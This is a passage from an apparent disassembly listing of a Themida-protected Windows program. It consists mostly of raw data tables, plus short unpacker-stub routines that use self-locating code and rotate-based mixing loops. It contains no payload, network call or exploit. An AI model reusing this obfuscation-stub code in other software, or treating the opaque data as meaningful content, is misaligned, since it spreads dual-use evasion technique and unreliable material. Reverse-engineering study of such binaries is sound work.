		dd 0C004ECBFh, 80CFAEF6h, 0AA130064h, 1260A11h,	0D62C1BCAh
		dd 684080EEh, 27E33BBCh, 0E4E0EA4Fh, 1200BFC1h,	0A1AAC3BBh
		dd 0B1888DD1h, 6DB380B0h, 0BCC0E333h, 80059339h, 359C2F0Fh
		dd 75191Ch, 0EAB67942h,	0EB07D5BBh, 0F039E628h,	7F573Dh
		dd 73BC56F8h, 5EAC51E3h, 0F818534Ch, 18E2C958h,	7A1D474h
		dd 7B84BC4Dh, 2868D92Dh, 863AA3C6h, 0E3D18275h,	66D4FF6Ch
		dd 0A28C031Ch, 183C883Bh, 0C262EAA0h, 0C0903090h, 0F8E35300h
		dd 0CA286BE7h, 9AA1029Fh, 0E9B2D745h, 0C9A2EC40h, 0B4B88778h
		dd 702CDF45h, 0C404B981h, 2C86FCC5h, 0A69EEA00h, 6788B689h
		dd 0ED1C1230h, 6EC430E0h, 4300E2B0h, 0EA50DFA5h, 0B4C84Bh
		dd 0F70F80C3h, 2F1C7253h, 3152ED04h, 6488D164h,	924301A8h
		dd 0E04BC1E7h, 4EEBC735h, 3BEDD5D1h, 7F931032h,	2E4F5410h
		dd 865BEE1Fh, 69708479h, 10F86522h, 184009D3h, 0B6C83498h
		dd 0E8F13A17h, 0E53E0501h, 1C2804B2h, 1F8C1A05h, 0B320827Bh
		dd 9CEA3520h, 166D01B8h, 0F1FBCA04h, 98431072h,	4FC2007Ch
		dd 9EEB4514h, 5409A5A2h, 7108AA64h, 93C50394h, 0E098308Eh
		dd 4407ED33h, 0F84604Dh, 99B7B9F0h, 4068B667h, 6D50E863h
		dd 8448ECF4h, 2078445Ch, 0AB0A1EB0h, 1CC2529h, 6CFFFF5Fh
		dd 0
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start

loc_53EBA5:				; CODE XREF: start:loc_4E0265j
					; DATA XREF: start:loc_4E0086o
		jmp	loc_541EC6
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		align 4
		dd 0FF540000h, 12h, 2 dup(0)
		dd 8F7A0000h, 5Ah, 0
		dd 0E3D70000h, 5D8FF4Bh, 77E8h,	73160000h, 0A2h, 87F20000h
		dd 77EBh, 3 dup(0)
		dd 15680000h, 0A1h, 5 dup(0)
		dd 0FD6E0000h, 0FFFFh, 0
		dd 0F1170000h, 0FFFFh, 1BD90000h, 72B6h, 0
		dd 7CA20000h, 57h, 800000h, 2 dup(0)
		dd 438C0000h, 3C6h, 2 dup(0)
		dd 0FFE00000h, 82550012h, 58h, 0Eh dup(0)
		dd 90610000h, 3C0B0057h, 0Bh dup(0)
		dd 60000h, 7FE10000h, 58h, 0
		dd 0E700000h, 0BF190202h, 739Dh, 5 dup(0)
		dd 8590000h, 0FFABh, 7CFF50h, 2	dup(0)
		dd 0EE90000h, 20000h, 49B8FFFFh, 59h, 5	dup(0)
		dd 0FCFC0000h, 8001h, 0
		dd 69E0000h, 0B9F40054h, 0B1680056h, 9Fh, 0
		dd 65520000h, 72617473h, 70704174h, 6578652Eh, 2 dup(0)
		dd 6D020000h, 0
		dd 0A00F0000h, 0A0h, 5 dup(0)
		dd 93930000h, 0A0h, 0
		dd 69E0000h, 54h, 0
		dd 6DE60000h, 0FAC8h, 4	dup(0)
		dd 7FD80000h, 0A2h, 2 dup(0)
		dd 0B1CA0000h, 85BB00AEh, 4E42h, 4 dup(0)
		dd 19A60000h, 5Bh, 0
		dd 0AC0000h, 2 dup(0)
		dd 0E58B0000h, 0CFFFFh,	0B830241h, 33F0059h, 59h, 24h dup(0)
		dd 10000h, 5 dup(0)
		dd 0FFDD0000h, 0FFA8h, 3 dup(0)
		dd 0CEF70000h, 59h, 0FF540000h,	0EBB2h,	0D4300000h, 314F2DFDh
		dd 5E2E005Ah, 5FF000A0h, 24h, 3	dup(0)
		dd 6E0000h, 5Ah, 4 dup(0)
		dd 40000h, 904F0000h, 57h, 7 dup(0)
		dd 6D020000h, 0
		dd 0E4310000h, 0F4CAh, 6 dup(0)
		dd 155C0000h, 0A1h, 5 dup(0)
		dd 0FF540000h, 30DF0012h, 0A9C5h, 2 dup(0)
		dd 6AA0000h, 290h, 3 dup(0)
		dd 0C553h, 2 dup(0)
		dd 0DAA0000h, 54h, 4 dup(0)
		dd 8B820000h, 0E4D577E7h, 0A627880Ah, 30445D6h,	7FFEh
		dd 4 dup(0)
		dd 915B0000h, 0A37C00A0h, 0FFFFh, 0AC00000h, 89312A4Ah
		dd 0A0377864h, 0FBF500A0h, 0A144005Fh, 77E7h, 6	dup(0)
		dd 0A40000h, 0FFEDh, 0Ah dup(0)
		dd 0B80000h, 0B000000h,	0C20374C0h, 448B0018h, 0E8530C24h
		dd 0
		dd 17C3815Bh, 89000000h, 8910245Ch, 5B142444h, 0A0A037B8h
		dd 8BE0FF00h, 0FF042444h, 0E0h,	12h dup(0)
		dd 417A0000h, 77E8h, 5 dup(0)
		dd 15640000h, 0A1h, 6 dup(0)
		dd 230000h, 0DF805A51h,	54A9h, 4 dup(0)
		dd 940000h, 3 dup(0)
		dd 16F60000h, 0EDC60591h, 0CD980057h, 0A411h, 7	dup(0)
		dd 0FF540000h, 0B5E20012h, 8A0Fh, 0D1480000h, 63h, 0DFC20000h
		dd 0F3F0AD60h, 9833FFFFh, 0FDFFh, 2 dup(0)
		dd 14340000h, 4	dup(0)
		dd 0E0000000h, 4Dh, 3 dup(0)
		dd 15640000h, 6DE600A1h, 0FAC8h, 0
		dd 140000h, 0Eh, 0A24F0000h, 77E7h, 7 dup(0)
		dd 8E2B0000h, 5Ah, 5 dup(0)
		dd 8EB0000h, 2195h, 6D020000h, 8 dup(0)
		dd 96230000h, 0EB75FF5Fh, 32A1h, 0
		dd 0F9620000h, 69EFFABh, 54h, 2	dup(0)
		dd 56430000h, 0
		dd 76CD0000h, 77E7h, 2 dup(0)
		dd 68540000h, 64696D65h, 61h, 1Eh dup(0)
		dd 0C7A80000h, 7963D62Bh, 77E7h, 0
		dd 8D530000h, 0A4h, 5 dup(0)
		dd 0E59D0000h, 3BD9h, 3C0B0000h, 212D0000h, 230058h, 2B0000h
		dd 5 dup(0)
		dd 8EFF0000h, 0FFFFh, 5CE90000h, 0EB7F0001h, 36D4h, 2 dup(0)
		dd 8C0A0000h, 0A0h, 3 dup(0)
		dd 1B060000h, 57h, 0
		dd 6D020000h, 0Ah dup(0)
		dd 3040000h, 7FFEh, 2 dup(0)
		dd 3C0B0000h, 0
		dd 13E80000h, 6	dup(0)
		dd 69D00000h, 0AFh, 0Eh	dup(0)
		dd 77E6h, 8 dup(0)
		dd 30DF0000h, 0A099A9C5h, 69DD77E7h, 0A0h, 0
		dd 77E6h, 0A1FE0000h, 0B0h, 3 dup(0)
		dd 0D0000000h, 0Dh, 2 dup(0)
		dd 9Fh,	3 dup(0)
		dd 0A00F0000h, 0A0h, 5 dup(0)
		dd 0ED4F0000h, 0CDh, 2 dup(0)
		dd 0A00F0000h, 0A0h, 0
		dd 20000h, 3 dup(0)
		dd 5ECC0000h, 77DDh, 4 dup(0)
		dd 93CB0000h, 33333344h, 2 dup(33333333h), 3333h, 2 dup(0)
		dd 1F170000h, 82768024h, 58h, 6	dup(0)
		dd 25Ah, 0
		dd 0FFFF0000h, 0FFFFh, 0C96A0000h, 77D4h, 41CC0000h, 0
		dd 8F7A0000h, 5Ah, 0F2F80000h, 57h, 9 dup(0)
		dd 8E030000h, 96C7h, 3 dup(0)
		dd 0BF040000h, 0DACh, 0
		dd 0ED510000h, 6C34h, 0
		dd 560F0000h, 5Bh, 0
		dd 37FE0000h, 0FDFE005Bh, 0BFh,	0EE90000h, 2 dup(0)
		dd 0FF6D0000h, 0B5E2FFFFh, 8A0Fh, 3 dup(0)
		dd offset dword_540000
		dd 10000000h, 40h, 2 dup(0)
		dd 5BD70000h, 6	dup(0)
		dd 80C30000h, 5Ah, 7 dup(0)
		dd 7BA40000h, 307Fh, 4 dup(0)
		dd 5AFC0000h, 1FFF005Ah, 27150000h, 62BD0057h, 0FA36h
		dd 10000h, 4005Bh, 0Ah dup(0)
		dd 20000h, 9 dup(0)
		dd 0A5BA0000h, 5163h, 0
		dd 230000h, 0C4860057h,	61B377E7h, 0C553h, 12h dup(0)
		dd 0D53E0000h, 5Ah, 4 dup(0)
		dd 0C96A0000h, 0FFB077D4h, 30400F0h, 7FFEh, 3 dup(0)
		dd 0FFF00002h, 12h, 4 dup(0)
		dd 11980000h, 59h, 2 dup(0)
		dd 7CA20000h, 57h, 8E2B0000h, 5Ah, 9Fh,	0
		dd 69DD0000h, 0A0h, 7 dup(0)
		dd 0D0000000h, 0D9A40256h, 15680057h, 904F00A1h, 57h, 0
		dd 6D020000h, 0
		dd 21210000h, 2121h, 0
		dd 94740000h, 4	dup(0)
		dd 0EE90000h, 0
		dd 7B240000h, 743DFFA6h, 59h, 10000h, 5Bh, 6 dup(0)
		dd 74040000h, 59h, 4 dup(0)
		dd 0FCFC0000h, 8001h, 0
		dd 660D0000h, 5F70B836h, 0E96A0000h, 5Ah, 11Dh dup(0)
		dd 5FF10000h, 0FF5Fh, 2	dup(0)
		dd 2E0F0000h, 77F5h, 0C7EA0000h, 0FF49h, 0
		dd 200D0000h, 0D06C78h,	0F8930004h, 53h, 0E60000h, 0
		dd 0EE90000h, 1C9C0000h, 0FFFFh, 2 dup(0)
		dd 20000h, 4 dup(0)
		dd 1F4D0000h, 85h, 69DD0000h, 0A0h, 6 dup(0)
		dd 0A00F0000h, 0A0h, 5 dup(0)
		dd 25Bh, 19h dup(0)
		dd 230000h, 57h, 0
		dd 23400000h, 14h, 0
		dd 0EC540000h, 57h, 0
		dd 230000h, 57h, 4 dup(0)
		dd 0A00F0000h, 0A0h, 0
		dd offset dword_457444+8BBCh
		dd 0AEh, 4 dup(0)
		dd 76680000h, 58h, 0
		dd 49060000h, 1FFF37B5h, 180B0000h, 77F5h, 0
		dd 0A8370000h, 251577E7h, 58h, 4 dup(0)
		dd 0ED510000h, 6C34h, 3040000h,	7FFEh, 5 dup(0)
		dd 1B400000h, 6DE676B4h, 0FAC8h, 7 dup(0)
		dd 382D0040h, 59h, 0
		dd 69E0000h, 54h, 0DD300000h, 0C4F7h, 3	dup(0)
		dd 904F0000h, 0FCFC0057h, 8001h, 92FE0000h, 0FFFFh, 2 dup(0)
		dd 3D00000h, 3 dup(0)
		dd offset dword_4FF844+7BCh
		dd 3 dup(0)
		dd 0A80000h, 2 dup(0)
		dd 69DD0000h, 0A0h, 9 dup(0)
		dd 3040000h, 0FC27FFEh,	0FF50h,	0
		dd 41920000h, 0B9F40212h, 0C6000056h, 0B80C0003h, 79h
		dd 2 dup(0)
		dd 5420000h, 59h, 0
		dd 59A90000h, 5Ah, 0
		dd 0E800000h, 0CBF00000h, 0E025h, 0
		dd 3040000h, 7FFEh, 5 dup(0)
dword_540000	dd 9 dup(0)		; DATA XREF: Themida_:0053F60Co
		dd 0A00F0000h, 0A0h, 18h dup(0)
		dd 24A20000h, 57h, 3 dup(0)
		dd 190000h, 0AC040000h,	65320000h, 57h,	2 dup(0)
		dd 86FE0000h, 6D5Eh, 59740000h,	8655h, 76CD0000h, 77E7h
		dd 0EE90000h, 70C40000h, 0A0h, 8D8D0000h, 0A909h, 4 dup(0)
		dd 9E6B0000h, 9C5791h, 0
		dd 0F2A00000h, 0CB23821h, 0
		dd 76680000h, 58h, 3 dup(0)
		dd 22D80000h, 69DD00A1h, 0A0h, 0
		dd 8B9C0000h, 2B4Fh, 4 dup(0)
		dd 0E0B30000h, 0FF7Ah, 6 dup(0)
		dd 6D020000h, 0DB300000h, 56DD2E16h, 0
		dd 31450000h, 100A0h, 0
		dd 660D0000h, 0B836h, 7F9E0000h, 7 dup(0)
		dd 0B0AA0000h, 57h, 4 dup(0)
		dd 0B2830000h, 57h, 0A6E90000h,	77EBh, 527E0000h, 58h
		dd 780000h, 4 dup(0)
		dd 0FA560000h, 0A0h, 3040000h, 7FFEh, 2	dup(0)
		dd 3C0B0000h, 2	dup(0)
		dd 0CD890000h, 4490h, 0ABCF0000h, 5Ah, 4 dup(0)
		dd 32100000h, 130h, 4 dup(0)
		dd 0BBE0000h, 0E7C3h, 4	dup(0)
		dd 24CF0000h, 54h, 0Bh dup(0)
		dd 3040000h, 17FFEh, 9F70000h, 5CB500A0h, 77E7h, 2 dup(0)
		dd 0A00F0000h, 370C00A0h, 4DAFB221h, 5A88h, 2 dup(0)
		dd 0BF0000h, 9 dup(0)
		dd 6DE60000h, 0FAC8h, 37DD0000h, 3 dup(0)
		dd 2AE40000h, 59h, 0AD310000h, 3A89h, 0EF3B0000h, 57h
		dd 2 dup(0)
		dd 77D4h, 22920000h, 0C36000A0h, 3E3B0058h, 0A0h, 0Ah dup(0)
		dd 527E0000h, 58h, 4 dup(0)
		dd 10000000h, 8D8D0000h, 78B2A909h, 593h, 8 dup(0)
		dd 0D4730000h, 58h, 6 dup(0)
		dd 69460000h, 57h, 0
		dd 9Fh,	10000h,	2 dup(0)
		dd 3ED0000h, 7FFFh, 2 dup(0)
		dd 0F0000000h, 89B97FFDh, 63DC7EA8h, 57h, 7 dup(0)
		dd 0F9620000h, 2765FFABh, 57h, 0
		dd 8C0A0000h, 0A0h, 1Ah	dup(0)
		dd 6CEB0000h, 2	dup(0)
		dd 34300000h, 312Dh, 5 dup(0)
		dd 45FE0000h, 1050058h,	0A28h, 0C5CD0000h, 3041772h, 7FFEh
		dd 2 dup(0)
		dd 6D710000h, 4	dup(0)
		dd 32680000h, 30DF00A1h, 50A9C5h, 24BC0000h, 57h, 3 dup(0)
		dd 73840000h, 0B0E2h, 259h, 4 dup(0)
		dd 700000h, 0
		dd 712C0000h, 4	dup(0)
		dd 5910000h, 77E8h, 4 dup(0)
		dd 0B9F40000h, 56h, 2 dup(0)
		dd 0A5FD0000h, 30477E7h, 7FFEh,	8EA50000h, 97Dh, 0
		dd 99950000h, 0A4h, 3 dup(0)
		dd 4FFD0000h, 59h, 7 dup(0)
		dd 10000h, 0
		dd 16EB0000h, 4	dup(0)
		dd 0F0620000h, 53h, 21BD0000h, 0F0047593h, 5Bh,	6 dup(0)
		dd 50240000h, 77FCh, 3 dup(0)
		dd 9F080000h, 5Ah, 3 dup(0)
		dd 69E0000h, 54h, 84F20000h, 5Bh, 3 dup(0)
		dd 9F70000h, 527E00A0h,	0B97C0058h, 618005Ah, 77E8h, 4 dup(0)
		dd 10000h, 0
		dd 77F5h, 4 dup(0)
		dd 6D020000h, 5	dup(0)
		dd 1500000h, 96C0h, 4 dup(0)
		dd 5FE90000h, 0
		dd 23D70000h, 77DDh, 3 dup(0)
		dd 69C40000h, 0
		dd 4BE00000h, 8C0A005Ah, 382D00A0h, 59h, 3 dup(0)
		dd 0FF3C0000h, 0EBB3FFFFh, 177F7h, 7 dup(0)
		dd 3040000h, 7FFEh, 2 dup(0)
		dd 35970000h, 1585h, 2 dup(0)
		dd 20000h, 0
		dd 9FD10000h, 57h, 5 dup(0)
		dd 81870000h, 553Fh, 0
		dd 30380000h, 4	dup(0)
		dd 0FFFF0000h, 0FFFFh, 2 dup(0)
		dd 10000h, 2 dup(0)
		dd 6D020000h, 6	dup(0)
		dd 78A0000h, 58h, 0
		dd 93FB0000h, 56h, 2 dup(0)
		dd 11110000h, 62CB1111h, 0AEEh,	0
		dd 0A13F0000h, 7F1A77E7h, 0EF86h, 7 dup(0)
		dd 10000h, 3 dup(0)
		dd 3F2C0000h, 2FE8FFFFh, 1BAD77E8h, 643Dh, 5 dup(0)
		dd 8C6B0000h, 0A0h, 27DC0000h, 1A3Fh, 5	dup(0)
		dd 15400000h, 7000A1h, 8 dup(0)
		dd 25Ah, 3 dup(0)
		dd 980000h, 20000h, 2 dup(0)
		dd 0D4310000h, 0EBB0h, 0
		dd 0FFFF0000h, 0FFFFh, 2 dup(0)
		dd 0FF540000h, 189A0012h, 0FF3A77DDh, 4C190053h, 7BE9h
		dd 273D0000h, 57h, 5 dup(0)
		dd 5AF80000h, 0
		dd 9BAC0000h, 6DE600A2h, 3B60FAC8h, 54D8h, 3A430000h, 755F6D5Ch
		dd 6361706Eh, 72656Bh, 80h dup(0)
		dd 9F950000h, 57h, 0Ah dup(0)
		dd 56430000h, 4	dup(0)
		dd 20720000h, 7C27h, 5 dup(0)
		dd 200000h, 0FFEDh, 0
		dd 0F3EF0000h, 447Bh, 0BAD60000h, 0FFE9h, 2 dup(0)
		dd 0D7060000h, 77E6h, 5D40000h,	886D93h, 0C1C50000h, 0FF5Fh
		dd 2 dup(0)
		dd 22220000h, 22222222h, 3042222h, 7FFEh, 0
		dd 2C810000h, 54h, 59790000h, 5Ah, 0
		dd 69E0000h, 8B820054h,	77E7h, 0
		dd 0BFE10000h, 5Ah, 7B0E0000h, 678Ah, 0D4140000h, 560FECF9h
		dd 73A7005Bh, 59h, 0
		dd 3040000h, 7FFEh, 0
		dd 0B4300000h, 3AF0h, 0E26C0290h, 57h, 4 dup(0)
		dd 9F080000h, 5Ah, 0
		dd 0D1870000h, 58h, 2 dup(0)
		dd 24BE0000h, 0FCFC0059h, 8001h, 5 dup(0)
		dd 0FF600000h, 12h, 2 dup(0)
		dd 0FFDD0000h, 304A5AEh, 7FFEh,	6 dup(0)
		dd 0FFFF0000h, 4 dup(0)
		dd 0B7000000h, 3045163h, 7FFEh,	9 dup(0)
		dd 0D7C70000h, 57h, 3 dup(0)
		dd 3C620000h, 8D8DFA3Bh, 4D35h,	4 dup(0)
		dd 0FCFh, 0
		dd 8D8D0000h, 0A909h, 2	dup(0)
		dd 0FE60000h, 9Fh, 0
		dd 0BD7A0000h, 325777E9h, 9AC7920h, 0A0h, 2 dup(0)
		dd 9FB80000h, 0FFFFh, 3	dup(0)
		dd 14130000h, 0C1C40000h, 0FFFCh, 40000h, 0B6990000h, 54h
		dd 2 dup(0)
		dd 35B0000h, 3 dup(0)
		dd 241h, 3 dup(0)
		dd 0F5EB0000h, 0Fh dup(0)
		dd 0FF3A0000h, 0F36C0053h, 58h,	5060000h, 54h, 0
		dd 0A00F0000h, 0A0h, 3 dup(0)
		dd 8B5F0000h, 9	dup(0)
		dd 0EDC60000h, 3A00057h, 2 dup(0)
		dd 0C4450000h, 2ABF1ABBh, 8D8D005Bh, 59F07057h,	77DDh
		dd 2 dup(0)
		dd 740000h, 0
		dd 0F5EB0000h, 14h, 30DF0000h, 2988A9C5h, 54h, 0Ch dup(0)
		dd 0E90000h, 4,	0
		dd 0FFAF0000h, 0FFFFh, 9 dup(0)
		dd 69DD0000h, 0A0h, 0Eh	dup(0)
		dd 894A0000h, 5Ah, 12h dup(0)
		dd 98ED0000h, 0A00057h,	3 dup(0)
		dd 19810000h, 4	dup(0)
		dd 0D5540000h, 9Fh, 3 dup(0)
		dd 900000h, 3040000h, 7FFEh, 0
		dd 6F700000h, 5Bh, 69DD0000h, 6CB800A0h, 249h, 65320000h
		dd 390057h, 0DFC20000h,	0AD60h,	2 dup(0)
		dd 21680000h, 0EDF577E8h, 0FFEFh, 2 dup(0)
		dd 0C00000h, 11h dup(0)
		dd 0B1340000h, 3BF100A2h, 3 dup(0)
		dd 0A00F0000h, 0A0h, 24240000h,	2424h, 2 dup(0)
		dd 904F0000h, 57h, 221000B7h, 2	dup(0)
		dd 0F5400000h, 0D5B5h, 4 dup(0)
		dd 2540000h, 0EE977F5h,	2 dup(0)
		dd 0FFFF0000h, 0FFA4h, 21020000h, 840E1Ah, 9FF40000h, 0FFFFh
		dd 92340000h, 54200A0h,	59h, 0
		dd 715E0000h, 4	dup(0)
		dd 0E6C40000h, 514Fh, 13h dup(0)
		dd 5060000h, 0FF3A0054h, 53h, 3	dup(0)
		dd 3A430000h, 4E49575Ch, 53574F44h, 7379535Ch, 336D6574h
		dd 44415C32h, 49504156h, 642E3233h, 6C6Ch, 39h dup(0)
		dd 6DE60000h, 0FF3AFAC8h, 0A55D0053h, 3C12h, 3 dup(0)
		dd 7D10000h, 0
		dd 65320000h, 57h, 8 dup(0)
		dd 3BF10000h, 8	dup(0)
		dd 1A640000h, 0C426h, 94990000h, 0C600A0h, 0FFACh, 2 dup(0)
		dd 4DAF0000h, 5A88h, 11h dup(0)
		dd 6D020000h, 3	dup(0)
		dd 0B5D50000h, 0CF90h, 81CF0000h, 0B8CCh, 5 dup(0)
		dd 6D020000h, 0
		dd 0D0570000h, 59h, 0Eh	dup(0)
		dd 6DE30000h, 82C25F7Bh, 0B924h, 0
		dd 69DD0000h, 0A0h, 5CB50000h, 77E7h, 3040000h,	7FFEh
		dd 5 dup(0)
		dd 2B80000h, 0FF4Ch, 5 dup(0)
		dd 7ECC0000h, 57h, 0Ah dup(0)
		dd 62CB0000h, 0AEEh, 5 dup(0)
		dd 0FF3A0000h, 27DC0053h, 1A3Fh, 2 dup(0)
		dd 23E80000h, 0A1h, 0
		dd 10000h, 9C000000h, 0FD9Bh, 0Eh dup(0)
		dd 0F8590000h, 0FFA7h, 2 dup(0)
		dd 3040000h, 7FFEh, 3 dup(0)
		dd 71D70000h, 77ECh, 8 dup(0)
		dd 9460000h, 2 dup(0)
		dd 36360000h, 3636h, 3 dup(0)
		dd 9A480000h, 56h, 25Ch, 2 dup(0)
		dd 0F8920000h, 53h, 6 dup(0)
		dd 10000h, 0
		dd 99370000h, 2538h, 0
		dd 20000000h, 1Ch, 0
		dd 0F2760000h, 5Ah, 2BDE0000h, 0B9F400A0h, 0A00F0056h
		dd 0A400A0h, 0
		dd 66D90000h, 80A2h, 2 dup(0)
		dd 77BF0000h, 0
		dd 3040000h, 602C7FFEh,	3 dup(0)
		dd 0CFC80000h, 0E088h, 0
		dd 71C70000h, 7A99h, 77DDh, 3 dup(0)
		dd 40300000h, 0C121h, 5	dup(0)
		dd 3040000h, 7FFEh, 0D05E0000h,	58h, 0Ah dup(0)
		dd 0FFB00000h, 190h, 4 dup(0)
		dd 33BB0000h, 0A814CFh,	3040000h, 0F9627FFEh, 0FFABh, 82A10000h
		dd 0E73Bh, 9Fh,	2 dup(0)
		dd 6C1A0000h, 5	dup(0)
		dd 2AE40000h, 59h, 2 dup(0)
		dd 0B5E20000h, 8A0Fh, 840000h, 11h dup(0)
		dd 10000h, 0
		dd 69DD0000h, 0A0h, 20000h, 2 dup(0)
		dd 904F0000h, 3B3A0057h, 5Ah, 6CEB0000h, 33A90000h, 3E689826h
		dd 77E8h, 0
		dd 98EF0000h, 57h, 5920000h, 5 dup(0)
		dd 69DD0000h, 0A0h, 30DF0000h, 8B5FA9C5h, 10000h, 0A0D40000h
		dd 0FFFFh, 3 dup(0)
		dd 6B8C0000h, 0FFFFh, 0
		dd 3040000h, 7FFEh, 2 dup(0)
		dd 69E0000h, 0AC5E0054h, 77E7h,	0BFD00000h, 3EDEh, 2 dup(0)
		dd 6BD70000h, 249h, 230000h, 57h, 9 dup(0)
		dd 0AF440000h, 2 dup(0)
		dd 3040000h, 0A1447FFEh, 77E7h,	0
		dd 6CB0000h, 5120h, 0
		dd 14AA0000h, 54h, 2 dup(0)
		dd 56430000h, 0
		dd 9C370000h, 0A0h, 1DD20000h, 0FFFFh, 0DE760000h, 100AFh
		dd 3 dup(0)
		dd 0F5AF0000h, 0FFFFh, 2 dup(0)
		dd 0B17E0000h, 4 dup(0)
		dd 0A8370000h, 77E7h, 15h dup(0)
		dd 7FE30000h, 90008056h, 0CE700003h, 0FFFCFFA7h, 5Bh, 0
		dd 0FFC40000h, 12h, 96230000h, 0FF5Fh, 2Bh dup(0)
		dd 10000h, 0
		dd 4C7D0000h, 0DF4Dh, 4	dup(0)
		dd 0A5E70000h, 0A4h, 0Ah dup(0)
		dd 74000000h, 106h, 6 dup(0)
		dd 6F740000h, 0
		dd 0C1D30000h, 1, 2 dup(0)
		dd 0ED510000h, 6C34h, 3	dup(0)
		dd 69200000h, 307Ch, 0
		dd 0A51C0000h, 2 dup(0)
		dd 0FF3C0000h, 0F004FFFFh, 5C51005Bh, 939Ch, 4 dup(0)
		dd 10000h, 0FFA40000h, 69DD0012h, 3C3500A0h, 762h, 15600000h
		dd 0A1h, 7 dup(0)
		dd 93EF0000h, 810377E7h, 0
		dd 0FEC30000h, 0EC54005Bh, 57h,	7 dup(0)
		dd 0DB8E0000h, 57h, 7Fh	dup(0)
		dd 0A00F0000h, 0A0h, 3 dup(0)
		dd 35100000h, 3EFFA5h, 0BFh, 0F8C0000h,	5 dup(0)
		dd 67BE0000h, 0B809h, 2	dup(0)
		dd 0FB2C0000h, 1068h, 2Ah dup(0)
		dd 69E0000h, 54h, 4 dup(0)
		dd 0EC0000h, 23040000h,	0FFFFh,	65320000h, 57h,	0AEh, 2	dup(0)
		dd 74A10000h, 0FFFFh, 80000h, 8C0031h, 7 dup(0)
		dd 8B640000h, 47FFh, 2 dup(0)
		dd 35F60000h, 5Bh, 8 dup(0)
		dd 0AC830000h, 120Ch, 0
		dd 9E640000h, 0FFFFh
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start

loc_541EC6:				; CODE XREF: start:loc_53EBA5j
		mov	eax, ebp
		mov	edx, esp
		pusha
		call	$+5
		pop	ebp
		sub	ebp, 5E7332Bh
		mov	[ebp+5E72D79h],	edx
		mov	[ebp+5E712DDh],	esi
		mov	[ebp+5E70BD9h],	eax
		cmp	dword ptr [ebp+5E716A1h], 0
		jz	short loc_541EFE
		mov	ebp, eax
		mov	esp, edx
		mov	eax, 1
		retn	0Ch
; ---------------------------------------------------------------------------

loc_541EFE:				; CODE XREF: start+61EDCj
		mov	eax, [esp+40h+var_1C]
		mov	[ebp+5E71169h],	eax
		push	45h
		call	sub_541FB2
		push	783749Ah
		call	sub_541FF8
		push	0A894B25h
		call	sub_541FF8
		jmp	loc_54213C
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		dd 48474645h, 4C4B4A49h, 504F4E4Dh, 54535251h, 58575655h
		dd 5C5B5A59h, 605F5E5Dh, 64636261h, 68676665h, 6C6B6A69h
		dd 706F6E6Dh, 74737271h, 78777675h, 7C7B7A79h, 807F7E7Dh
		dd 84838281h, 88878685h, 8C8B8A89h, 908F8E8Dh, 94939291h
		dd 98979695h, 9C9B9A99h, 0A09F9E9Dh, 0A4A3A2A1h, 0A8A7A6A5h
		dd 0ACABAAA9h, 0B0AFAEADh, 0B4B3B2B1h, 0B8B7B6B5h, 0BCBBBAB9h
		dd 0C0BFBEBDh, 0C3C2C1h, 2 dup(0)
		db 2 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_541FB2	proc near		; CODE XREF: start+61EF6p

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		pusha
		call	$+5
		pop	edx
		sub	edx, 5E73419h
		mov	ebx, edx
		mov	[ebp+var_28], 0

loc_541FCE:				; CODE XREF: sub_541FB2+39j
		mov	eax, [ebp+var_28]
		inc	eax
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 80h
		jz	short loc_541FED
		mov	eax, [ebp+arg_0]
		mov	[ebx+5E73383h],	eax
		inc	[ebp+arg_0]
		inc	ebx
		jmp	short loc_541FCE
; ---------------------------------------------------------------------------

loc_541FED:				; CODE XREF: sub_541FB2+2Aj
		mov	[ebp+var_24], eax
		popa
		mov	eax, [ebp+var_24]
		leave
		retn	4
sub_541FB2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_541FF8	proc near		; CODE XREF: start+61F00p start+61F0Ap

var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFF7Ch
		pusha
		call	$+5
		pop	edx
		sub	edx, 5E73462h
		lea	eax, [ebp+var_80]
		mov	ebx, [ebp+arg_0]
		mov	[ebp+var_84], 0

loc_54201E:				; CODE XREF: sub_541FF8+41j
		mov	ecx, [ebp+var_84]
		rol	ebx, 1
		mov	[eax], bl
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	[ebp+var_84], 80h
		jnz	short loc_54201E
		mov	[ebp+var_84], 0
		lea	edi, [edx+5E73383h]
		lea	esi, [ebp+var_80]

loc_54204E:				; CODE XREF: sub_541FF8+83j
		mov	cl, [esi]
		mov	ebx, 1F4h
		mov	eax, 785437ABh

loc_54205A:				; CODE XREF: sub_541FF8+69j
		rcl	eax, cl
		mov	cl, [edi]
		rcl	eax, cl
		dec	ebx
		jnz	short loc_54205A
		imul	eax, ebx
		inc	edi
		inc	esi
		mov	ecx, [ebp+var_84]
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	ecx, 80h
		jnz	short loc_54204E
		popa
		leave
		retn	4
sub_541FF8	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		mov	esi, [ebp+8]
		mov	dword ptr [ebp-4], 0
		jmp	short loc_542098
; ---------------------------------------------------------------------------

loc_542094:				; CODE XREF: Themida_:0054209Bj
		inc	dword ptr [ebp-4]
		inc	esi

loc_542098:				; CODE XREF: Themida_:00542092j
		cmp	byte ptr [esi],	0
		jnz	short loc_542094
		mov	edx, 0
		mov	esi, [ebp+8]
		mov	edi, [ebp+0Ch]
		jmp	short loc_542129
; ---------------------------------------------------------------------------

loc_5420AA:				; CODE XREF: Themida_:0054212Cj
		mov	dword ptr [ebp-8], 0
		jmp	short loc_542120
; ---------------------------------------------------------------------------

loc_5420B3:				; CODE XREF: Themida_:00542124j
		mov	dword ptr [ebp-10h], 0
		mov	dword ptr [ebp-0Ch], 0
		jmp	short loc_54210D
; ---------------------------------------------------------------------------

loc_5420C3:				; CODE XREF: Themida_:00542111j
